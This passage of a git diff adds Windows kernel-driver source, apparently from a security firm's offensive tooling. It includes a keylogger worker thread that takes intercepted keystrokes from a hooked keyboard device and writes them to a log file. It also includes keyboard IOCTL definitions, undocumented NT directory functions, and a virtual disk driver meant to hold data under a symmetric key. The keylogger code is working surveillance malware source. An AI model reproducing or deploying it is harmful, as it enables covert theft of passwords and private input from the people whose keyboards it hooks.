thread for keyboard device being hooked + + Arguments: + + DeviceObject - Device object for the keyboard device the worker thread + will be servicing + + Return Value: + + Returns status depending on if the worker thread was successfully initialized + or not + +--*/ + +{ + HANDLE thread; + NTSTATUS status; + PKEYLOG_DEVICE_EXTENSION KeylogExtension; + + KeylogExtension = (PKEYLOG_DEVICE_EXTENSION)DeviceObject->DeviceExtension; + KeylogExtension->ThreadTerminate = FALSE; + + status = PsCreateSystemThread(&thread, + (ACCESS_MASK)0, + NULL, + (HANDLE)0, + NULL, + KeylogWorkerThread, + KeylogExtension); + + if(!NT_SUCCESS(status)) { + DbgPrint("[Keylog] Failed to create Worker Thread"); + return status; + } + + ObReferenceObjectByHandle(thread, + THREAD_ALL_ACCESS, + NULL, + KernelMode, + (PVOID*)&KeylogExtension->ThreadObj, + NULL); + + ZwClose(thread); + return status; +} + +VOID +KeylogWorkerThread( + IN PKEYLOG_DEVICE_EXTENSION KeylogExtension + ) + +/*++ + + Routine Description: + + Keylogger worker thread reads from queue of intercepted keystrokes and + decodes them as well as writes them to a file + + Arguments: + + KeylogExtension - Pointer to keylogger device extension contains information + relevant to worker thread such as the file to write the + decoded keystrokes to + + Return Value: + + VOID (no return) + +--*/ + +{ + KEY_DATA* kData; + PLIST_ENTRY ListEntry; + + while(TRUE) { + + // + // Sleep if no data is available in the work queue for processing + // + + KeWaitForSingleObject(&KeylogExtension->semQueue, + Executive, + KernelMode, + FALSE, + NULL); + + ListEntry = ExInterlockedRemoveHeadList(&KeylogExtension->QueueListHead, + &KeylogExtension->lockQueue); + + // + // If driver is being unloaded we need to exit + // + + if(KeylogExtension->ThreadTerminate) { + PsTerminateSystemThread(STATUS_SUCCESS); + } + + kData = CONTAINING_RECORD(ListEntry, KEY_DATA, ListEntry); + WriteKeystrokeToLog(KeylogExtension, kData); + } +} diff --git a/src/klogworker.h b/src/klogworker.h new file mode 100755 index 0000000..069dbf7 --- /dev/null +++ b/src/klogworker.h @@ -0,0 +1,29 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +NTSTATUS +InitializeKeylogWorker( + IN PDEVICE_OBJECT DeviceObject + ); + +VOID +KeylogWorkerThread( + IN PKEYLOG_DEVICE_EXTENSION KeylogExtension + ); \ No newline at end of file diff --git a/src/ntundoc.h b/src/ntundoc.h new file mode 100644 index 0000000..ac91a6c --- /dev/null +++ b/src/ntundoc.h @@ -0,0 +1,138 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +// +// Define the keyboard indicators +// + +#define KEYBOARD_LED_INJECTED 0x8000 +#define KEYBOARD_SHADOW 0x4000 +#define KEYBOARD_KANA_LOCK_ON 8 +#define KEYBOARD_CAPS_LOCK_ON 4 +#define KEYBOARD_NUM_LOCK_ON 2 +#define KEYBOARD_SCROLL_LOCK_ON 1 + + +#define IOCTL_KEYBOARD_QUERY_ATTRIBUTES \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0000, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KEYBOARD_QUERY_INDICATORS \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0010, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KEYBOARD_QUERY_INDICATOR_TRANSLATION \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0020, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KEYBOARD_QUERY_TYPEMATIC \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0008, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KEYBOARD_SET_TYPEMATIC \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0001, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KEYBOARD_SET_INDICATORS \ + CTL_CODE(FILE_DEVICE_KEYBOARD, 0x0002, METHOD_BUFFERED, FILE_ANY_ACCESS) + +DEFINE_GUID(GUID_DEVINTERFACE_KEYBOARD, \ + 0x884b96c3, 0x56ef, 0x11d1, 0xbc, 0x8c, 0x00, 0xa0, 0xc9, 0x14, 0x05, 0xdd); + +#define KEYBOARD_ERROR_VALUE_BASE 10000 + +/* KEYBOARD_INPUT_DATA.MakeCode constants */ +#define KEYBOARD_OVERRUN_MAKE_CODE 0xFF + +/* KEYBOARD_INPUT_DATA.Flags constants */ +#define KEY_MAKE 0 +#define KEY_BREAK 1 +#define KEY_E0 2 +#define KEY_E1 4 + +typedef struct _KEYBOARD_INPUT_DATA { + USHORT UnitId; + USHORT MakeCode; + USHORT Flags; + USHORT Reserved; + ULONG ExtraInformation; +} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA; + + +typedef struct _KEYBOARD_TYPEMATIC_PARAMETERS { + USHORT UnitId; + USHORT Rate; + USHORT Delay; +} KEYBOARD_TYPEMATIC_PARAMETERS, *PKEYBOARD_TYPEMATIC_PARAMETERS; + +typedef struct _KEYBOARD_ID { + UCHAR Type; + UCHAR Subtype; +} KEYBOARD_ID, *PKEYBOARD_ID; + +#define ENHANCED_KEYBOARD(Id) ((Id).Type == 2 || (Id).Type == 4 || FAREAST_KEYBOARD(Id)) +#define FAREAST_KEYBOARD(Id) ((Id).Type == 7 || (Id).Type == 8) + +typedef struct _KEYBOARD_INDICATOR_PARAMETERS { + USHORT UnitId; + USHORT LedFlags; +} KEYBOARD_INDICATOR_PARAMETERS, *PKEYBOARD_INDICATOR_PARAMETERS; + +typedef struct _INDICATOR_LIST { + USHORT MakeCode; + USHORT IndicatorFlags; +} INDICATOR_LIST, *PINDICATOR_LIST; + +typedef struct _KEYBOARD_INDICATOR_TRANSLATION { + USHORT NumberOfIndicatorKeys; + INDICATOR_LIST IndicatorList[1]; +} KEYBOARD_INDICATOR_TRANSLATION, *PKEYBOARD_INDICATOR_TRANSLATION; + +typedef struct _KEYBOARD_ATTRIBUTES { + KEYBOARD_ID KeyboardIdentifier; + USHORT KeyboardMode; + USHORT NumberOfFunctionKeys; + USHORT NumberOfIndicators; + USHORT NumberOfKeysTotal; + ULONG InputDataQueueLength; + KEYBOARD_TYPEMATIC_PARAMETERS KeyRepeatMinimum; + KEYBOARD_TYPEMATIC_PARAMETERS KeyRepeatMaximum; +} KEYBOARD_ATTRIBUTES, *PKEYBOARD_ATTRIBUTES; + +typedef struct _KEYBOARD_UNIT_ID_PARAMETER { + USHORT UnitId; +} KEYBOARD_UNIT_ID_PARAMETER, *PKEYBOARD_UNIT_ID_PARAMETER; + +typedef struct _KEYBOARD_IME_STATUS { + USHORT UnitId; + ULONG ImeOpen; + ULONG ImeConvMode; +} KEYBOARD_IME_STATUS, *PKEYBOARD_IME_STATUS; + +// +// Undocumented NT Functions +// + +typedef struct _DIRECTORY_BASIC_INFORMATION +{ + UNICODE_STRING ObjectName; + UNICODE_STRING ObjectTypeName; +} DIRECTORY_BASIC_INFORMATION, *PDIRECTORY_BASIC_INFORMATION; + +extern NTSYSAPI NTSTATUS NTAPI +ZwOpenDirectoryObject(OUT PHANDLE DirectoryObjectHandle, IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes); + +extern NTSYSAPI NTSTATUS NTAPI +ZwQueryDirectoryObject(IN HANDLE DirectoryObjectHandle, + OUT PDIRECTORY_BASIC_INFORMATION DirObjInformation, + IN ULONG BufferLength, IN BOOLEAN GetNextIndex, + IN BOOLEAN IgnoreInputIndex, IN OUT PULONG ObjectIndex, + OUT PULONG DataWritten OPTIONAL); + + diff --git a/src/vfs.c b/src/vfs.c new file mode 100755 index 0000000..dbcbc0a --- /dev/null +++ b/src/vfs.c @@ -0,0 +1,456 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" +#include "format.h" +#include "vfscompat.h" +#include "vfsworker.h" + +// +// Check if VFS has been initialized +// + +#define VFS_INITIALIZED() if(VFSDriverObject == NULL) { \ + DbgPrint("Error VFS module has not been initialized"); \ + return STATUS_UNSUCCESSFUL; \ +} + +// +// Driver Object for VFS +// + +static PDRIVER_OBJECT VFSDriverObject = NULL; + +// +// Forward declarations +// + +static NTSTATUS +VFSPrepareFileSystem( + IN PUNICODE_STRING DeviceName, + IN PUNICODE_STRING DriveName, + OUT HANDLE *VFSHandle, + IN PVOID DiskImage, + IN ULONG DiskSize, + IN ULONG FSType, + HANDLE VFSFileHandle, + HANDLE VFSSection, + HANDLE ProcessHandle + ); + +static NTSTATUS +VFSShutdown( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ); + +NTSTATUS +VFSInit( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ) + +/*++ + + Routine Description: + + Initializes the VFS subsystem + + Arguments: + + DriverObject - Standard driver object structure for exclusive use by + VFS component is stored in static variable + + regPath - This parameter is not used by anything currently + + Return Value: + + Always returns successfully + +--*/ + +{ + PAGED_CODE(); + + UNREFERENCED_PARAMETER(regPath); + + VFSDriverObject = DriverObject; + + DriverObject->MajorFunction[IRP_MJ_CREATE] = VFSCreateClose; + DriverObject->MajorFunction[IRP_MJ_CLOSE] = VFSCreateClose; + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = VFSIoctl; + DriverObject->MajorFunction[IRP_MJ_READ] = VFSQueueWorkItem; + DriverObject->MajorFunction[IRP_MJ_WRITE] = VFSQueueWorkItem; + DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = VFSShutdown; + + return STATUS_SUCCESS; +} + +NTSTATUS +VFSCreateDisk( + IN PUNICODE_STRING DeviceName, + IN PUNICODE_STRING DriveName, + IN PUNICODE_STRING FilePath, + OUT PDEVICE_OBJECT *VFSHandle, + IN PVFS_KEY SymmetricKey, + IN PLARGE_INTEGER VFSSize, + IN ULONG FSType + ) + +/*++ + + Routine Description: + + Creates a new/mounts an existing virtual file system driver + + One important thing to note is that if you are trying to format a file backed VFS and + that has already been formated you must first delete the file before you call this API + otherwise it will not be formatted properly. + + Arguments: + + DeviceName - Device name of the hard disk (e.g. \Device\RawDisk1) + + DriveName - Name of the drive (e.g. \DosDevices\Hd1) + + FilePath - Path of the encrypted volume to be mounted/created in the past to a file on disk which + will be opened/created. Is null if you want to create a ramdisk + + VFSObjectRet - Returns to the caller a pointer to the VFS object structure of the newly + created VFS object on successful mount on the drive. This pointer will be + set to null if the drive is not mounted properly + + SymmetricKey - Symmetric key for CAST128 cipher which will be used to decrypt the + contents of the VFS on access + + VFSSize - Size of the virtual filesystem is only applicable if the virtual filesystem + does not exist or we are creating a ramdisk/volatile drive. Must be a multiple of + 512 bytes + + FSType - Filesystem to format the driver if applicable. If you are trying + + Return Value: + + NTSTATUS (indicating success/failure) + +--*/ + +{ + NTSTATUS status; + OBJECT_ATTRIBUTES ObjAttr; + IO_STATUS_BLOCK IOStatus; + PVOID DiskImage = NULL; + SIZE_T DiskSize = 0; + HANDLE VFSFileHandle; + HANDLE VFSSection; + HANDLE ProcessHandle; + + PAGED_CODE(); + + UNREFERENCED_PARAMETER(SymmetricKey); + + VFS_INITIALIZED(); + + // + // If the size of the VFS is less than 8MB or the size of the VFS is + // not a multiple of 512 then the VFS size is invalid size + // + + if(VFSSize->QuadPart % 512 != 0 || + VFSSize->QuadPart < VFS_MiB(8)) { + DbgPrint("[VFS] Error invalid VFS size"); + return STATUS_UNSUCCESSFUL; + } + + // + // If we are given a file path try to open if we are not + // given a file path then we know that the caller wants to + // create a ramdisk drive + // + + if(FilePath != NULL) { + + InitializeObjectAttributes(&ObjAttr, + FilePath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + status = ZwCreateFile(&VFSFileHandle, + FILE_APPEND_DATA, + &ObjAttr, + &IOStatus, + VFSSize, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OPEN_IF, + FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT | + FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS, + NULL, + 0); + + if(!NT_SUCCESS(status)) { + DbgPrint("[VFS] Opening of VFS virtual drive failed"); + return status; + } + + // + // Check if file was just created and allocation specified was zero. This + // is an error and we will delete/close the file if this is the case + // + + if(IOStatus.Information == FILE_CREATED && VFSSize == 0) { + DbgPrint("[VFS] Error VFS file does not exist and VFS size is zero"); + + ZwClose(VFSFileHandle); + return STATUS_UNSUCCESSFUL; + } + + // + // If file already exists then we do not need to format it + // + + if(IOStatus.Information == FILE_OPENED) { + DbgPrint("[VFS] The VFS already exists so we will not format it now"); + FSType = NOFORMAT; + } + + } else { // No path provided means we want to create a ramdisk + VFSFileHandle = NULL; + } + + + // + // We need to create a section object in order to map the section into + // virtual memory space of system process. To do this we must initialize + // the attributes of the object + // + + InitializeObjectAttributes( + &ObjAttr, + NULL, + OBJ_KERNEL_HANDLE | OBJ_EXCLUSIVE, + NULL, + NULL); + + status = ZwCreateSection( + &VFSSection, + SECTION_ALL_ACCESS, + &ObjAttr, + VFSSize, + PAGE_READWRITE, + 0x8000000 | 0x10000000, // SEC_COMMIT | SEC_NOCACHE + VFSFileHandle); + + if(!NT_SUCCESS(status)) { + DbgPrint("[VFS] ZwCreateSection failed when mapping VFS"); + return status; + } + + ProcessHandle = NtCurrentProcess(); + + status = ZwMapViewOfSection(VFSSection, + ProcessHandle, + &DiskImage, + 1, + 0, + NULL, + &DiskSize, + ViewUnmap, + 0, + PAGE_READWRITE); + + if(!NT_SUCCESS(status)) { + DbgPrint("[VFS] ZwMapViewOfSection failed while tring to map VFS into memory and STATUS = %d", status); + return status; + } + + // + // Now that file has been mapped we need to setup the virtual filesystem + // so that it is accessible from usermode + // + + status = VFSPrepareFileSystem( + DeviceName, + DriveName, + VFSHandle, + DiskImage, + (ULONG)VFSSize->QuadPart, + FSType, + VFSFileHandle, + VFSSection, + ProcessHandle); + + if(!NT_SUCCESS(status)) { + DbgPrint("[VFS] Setup of virtual file system failed"); + return status; + } + + return status; +} + +static NTSTATUS +VFSPrepareFileSystem( + IN PUNICODE_STRING DeviceName, + IN PUNICODE_STRING DriveName, + OUT PDEVICE_OBJECT *VFSHandle, + IN PVOID DiskImage, + IN ULONG DiskSize, + IN ULONG FSType, + HANDLE VFSFileHandle, + HANDLE VFSSection, + HANDLE ProcessHandle + ) + +/*++ + + Routine Description: + + Internal routine that handles setup and initialization of the VFS + + Arguments: + + DeviceName - Name of the VFS device + + DriveName - Name of the disk/symbolic link name (e.g. \DosDevices\Hd1\) + + VFSObject - Output is initialized VFS structure + + DiskImage - Pointer to memory allocated to store VFS or memory mapped file + + DiskSize - Must be multiple of 512 + + FSType - Enum which represents type of file system to format drive + + VFSFileHandle - Handle to the file backing the VFS or is NULL if we are creating a ramdisk + + VFSSection - Section object which backs the memory mapped file + + ProcessHandle - Handle to the userland process which the memory mapped file is + mapped into this should always be the [SYSTEM] (PID = 4) process + + Return Value: + + Returns success or error condition if VFS object fails to be created + +--*/ + +{ + NTSTATUS status; + PVFS_DEVICE_EXTENSION VFSExtension; + PDEVICE_OBJECT DeviceObject; + + PAGED_CODE(); + + ASSERT(DeviceName != NULL); + ASSERT(DriveName != NULL); + ASSERT(DiskImage != NULL); + ASSERT(DiskSize % 512 == 0); + + VFS_INITIALIZED(); + + status = IoCreateDevice(VFSDriverObject, + sizeof(VFS_DEVICE_EXTENSION), + DeviceName, + FILE_DEVICE_DISK, + 0, + FALSE, + &DeviceObject); + + if (NT_SUCCESS(status)) { + status = IoCreateSymbolicLink(DriveName, DeviceName); + } else { + DbgPrint("[IG] Failed to Create Device Object for Driver"); + return status; + } + + RtlZeroMemory(DeviceObject->DeviceExtension, sizeof(VFS_DEVICE_EXTENSION)); + VFSExtension = VFS_EXTENSION(DeviceObject); + + VFSExtension->VFSFileHandle = VFSFileHandle; + VFSExtension->VFSSection = VFSSection; + VFSExtension->ProcessHandle = ProcessHandle; + + VFSExtension->DiskImage = DiskImage; + VFSExtension->DiskSize = DiskSize; + VFSExtension->FileSystemType = FSType; + + VFSExtension->DiskGeometry.Cylinders.QuadPart = VFSExtension->DiskSize / 512 / 32 / 2; + VFSExtension->DiskGeometry.MediaType = FixedMedia; + VFSExtension->DiskGeometry.TracksPerCylinder = 2; + VFSExtension->DiskGeometry.SectorsPerTrack = 32; + VFSExtension->DiskGeometry.BytesPerSector = 512; + + switch(VFSExtension->FileSystemType) { + + case FAT16: + VFSFormatFAT16(VFSExtension); + break; + + case NOFORMAT: + break; + + default: + DbgPrint("[IG] Failure Unrecognized Filesystem Type Specified"); + return STATUS_UNSUCCESSFUL; + } + + // + // Prepare the worker thread which will handle processing of + // the read/write requests to the hard disk + // + + PrepareVFSWorkerThread(DeviceObject); + + DeviceObject->Flags |= DO_DIRECT_IO; + DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + // + // Return the address of VFS device object to the caller + // + + *VFSHandle = DeviceObject; + + return status; +} + +static NTSTATUS +VFSShutdown( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +{ + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + + // + // We need to make sure we properly close and unmap the sections + // and close the file to make sure all changes to VFS are flushed + // from the cache + // + + ZwUnmapViewOfSection(VFSExtension->ProcessHandle, VFSExtension->DiskImage); + ZwClose(VFSExtension->VFSSection); + ZwClose(VFSExtension->VFSFileHandle); + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/src/vfs.h b/src/vfs.h new file mode 100755 index 0000000..147d504 --- /dev/null +++ b/src/vfs.h @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ioctl.h" +#include "vfsworker.h" +#include "vfscompat.h" +#include "vfsio.h" + +// +// Disable compiler warnings +// + +#pragma warning( disable: 4995 ) +#pragma warning( disable: 4996 ) + +// +// VFS Macros +// + +#define VFS_MiB(mb) (mb * 1024 * 1024) +#define VFS_EXTENSION(DeviceObject) ((PVFS_DEVICE_EXTENSION) DeviceObject->DeviceExtension) + +// +// Type of the filesystem of the VFS object +// + +#define FAT16 16 +#define FAT32 32 +#define NOFORMAT 0 + +// +// Symmetric key used to decrypt/encrypt the VFS +// + +typedef struct _VFS_KEY { + UCHAR key[16]; +} VFS_KEY, *PVFS_KEY; + +// +// Information which describes virtual file system object +// + +typedef struct _VFS_DEVICE_EXTENSION { + + // + // Information on virtual file system + // + + DISK_GEOMETRY DiskGeometry; + PCHAR DiskImage; + ULONG DiskSize; + ULONG FileSystemType; + + // + // Synchronization for work queue + // + + KSEMAPHORE semQueue; + KSPIN_LOCK lockQueue; + LIST_ENTRY QueueListHead; + + // + // Handle to memory mapped file object + // + + PHANDLE VFSFileHandle; + PHANDLE VFSSection; + HANDLE ProcessHandle; + +} VFS_DEVICE_EXTENSION, *PVFS_DEVICE_EXTENSION; + +// +// VFS Function Prototypes +// + +NTSTATUS +VFSInit( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ); + +NTSTATUS +VFSCreateDisk( + IN PUNICODE_STRING DeviceName, + IN PUNICODE_STRING DriveName, + IN PUNICODE_STRING FilePath, + OUT PDEVICE_OBJECT *VFSHandle, + IN PVFS_KEY SymmetricKey, + IN PLARGE_INTEGER VFSSize, + IN ULONG FSType + ); diff --git a/src/vfscompat.c b/src/vfscompat.c new file mode 100755 index 0000000..f8dd18c --- /dev/null +++ b/src/vfscompat.c @@ -0,0 +1,98 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" + +NTSTATUS +VFSCreateClose( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Handler for IRP_MJ_(CREATE|CLOSE) we just complete these requests + as being successful since they are not really applicable with what + our driver does + + Arguments: + + DeviceObject - DeviceObject associated with device IRP is destined + + irp - I/O Request Packet associated with request + + Return Value: + + Always returns successful status + +--*/ + +{ + UNREFERENCED_PARAMETER(DeviceObject); + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + +NTSTATUS +VFSIRPUnsupported( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Generic handler for IRPs which are not supported we return a + status of STATUS_NOT_IMPLEMENTED + + Arguments: + + DeviceObject - device associated with the IRP + + irp - I/O Request Packet + + Return Value: + + Returns status saying that the request is not implemented + +--*/ + +{ + NTSTATUS status; + + UNREFERENCED_PARAMETER(DeviceObject); + + // + // Since we are the lowest level driver in the device stack we + // do not have a lower level driver for which we need to pass + // unsupported IRPs + // + + status = irp->IoStatus.Status = STATUS_NOT_IMPLEMENTED; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return status; +} diff --git a/src/vfscompat.h b/src/vfscompat.h new file mode 100644 index 0000000..fdb5efc --- /dev/null +++ b/src/vfscompat.h @@ -0,0 +1,20 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +NTSTATUS VFSCreateClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp); +NTSTATUS VFSIRPUnsupported(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp); diff --git a/src/vfsio.c b/src/vfsio.c new file mode 100755 index 0000000..8cee117 --- /dev/null +++ b/src/vfsio.c @@ -0,0 +1,105 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" + +NTSTATUS +VFSRead( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Handler for IRP_MJ_READ requests to VFS + + Arguments: + + DeviceObject - DeviceObject associated with device IRP is destined + + irp - I/O Request Packet associated with request + +Return Value: + + Always returns successfully + +--*/ + +{ + PUCHAR src; + PUCHAR dest; + PIO_STACK_LOCATION irpStack; + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + + irpStack = IoGetCurrentIrpStackLocation(irp); + + src = (PUCHAR)(VFSExtension->DiskImage + irpStack->Parameters.Read.ByteOffset.LowPart); + dest = MmGetSystemAddressForMdl(irp->MdlAddress); + + RtlCopyBytes(dest, src, irpStack->Parameters.Read.Length); + + irp->IoStatus.Information = irpStack->Parameters.Read.Length; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + +NTSTATUS +VFSWrite( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Handler for IRP_MJ_WRITE requests to VFS + + Arguments: + + DeviceObject - device associated with the IRP + + irp - I/O Request Packet + +Return Value: + + Always returns successfully + +--*/ + +{ + PUCHAR src; + PUCHAR dest; + PIO_STACK_LOCATION irpStack; + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + + irpStack = IoGetCurrentIrpStackLocation(irp); + + src = (PUCHAR)(VFSExtension->DiskImage + irpStack->Parameters.Write.ByteOffset.LowPart); + dest = MmGetSystemAddressForMdl(irp->MdlAddress); + + RtlCopyBytes(src, dest, irpStack->Parameters.Write.Length); + + irp->IoStatus.Information = irpStack->Parameters.Read.Length; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/src/vfsio.h b/src/vfsio.h new file mode 100644 index 0000000..055e057 --- /dev/null +++ b/src/vfsio.h @@ -0,0 +1,20 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +NTSTATUS VFSRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp); +NTSTATUS VFSWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp); diff --git a/src/vfsworker.c b/src/vfsworker.c new file mode 100644 index 0000000..486e39d --- /dev/null +++ b/src/vfsworker.c @@ -0,0 +1,185 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "vfs.h" +#include "vfsio.h" + +NTSTATUS +PrepareVFSWorkerThread( + IN PDEVICE_OBJECT DeviceObject + ) + +/*++ + +Routine Description: + + Creates a worker thread which is responsible for handling read/write operations + to the virtual file system + +Arguments: + + DeviceObject - DeviceObject associated with the virtual file system + +Return Value: + + Returns an NTSTATUS code indicating success or failure + +--*/ + +{ + HANDLE WorkerThread; + NTSTATUS status; + PVFS_DEVICE_EXTENSION VFSExtension; + + VFSExtension = VFS_EXTENSION(DeviceObject); + + // + // Initializes synchronization primitives used for synchronizing + // access to/from the virtual file system + // + + InitializeListHead(&VFSExtension->QueueListHead); + KeInitializeSpinLock(&VFSExtension->lockQueue); + KeInitializeSemaphore(&VFSExtension->semQueue, 0 , MAXLONG); + + // + // Creates a worker thread which will be responsible for handling read/write + // requests to the virtual file system + // + + status = PsCreateSystemThread(&WorkerThread, + (ACCESS_MASK)0, + NULL, + (HANDLE)0, + NULL, + VFSWorkerThread, + DeviceObject); + + if(!NT_SUCCESS(status)) { + DbgPrint("[IG] Failed to Create a Worker Thread for the VFS"); + return status; + } + + ZwClose(WorkerThread); + + return status; +} + +VOID +VFSWorkerThread( + IN PDEVICE_OBJECT DeviceObject + ) + +/*++ + +Routine Description: + + Waits for read/write operations to be added to the work queue and waits in + an alertable state for items to be added to the queue if it is empty + +Arguments: + + DeviceObject the + +Return Value: + + VOID (no return) + +--*/ + +{ + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + PLIST_ENTRY ListEntry; + PIRP irp; + PIO_STACK_LOCATION irpStack; + + PAGED_CODE(); + + while(TRUE) { + + // + // If we don't have any more requests to process we just sleep and + // for more requets to be added to the queue + // + + KeWaitForSingleObject(&VFSExtension->semQueue, + Executive, + KernelMode, + FALSE, + NULL); + + ListEntry = ExInterlockedRemoveHeadList(&VFSExtension->QueueListHead, + &VFSExtension->lockQueue); + irp = CONTAINING_RECORD(ListEntry, IRP, Tail.Overlay.ListEntry); + + // + // Route request to read/write handler + // + + irpStack = IoGetCurrentIrpStackLocation(irp); + + if(irpStack->MajorFunction == 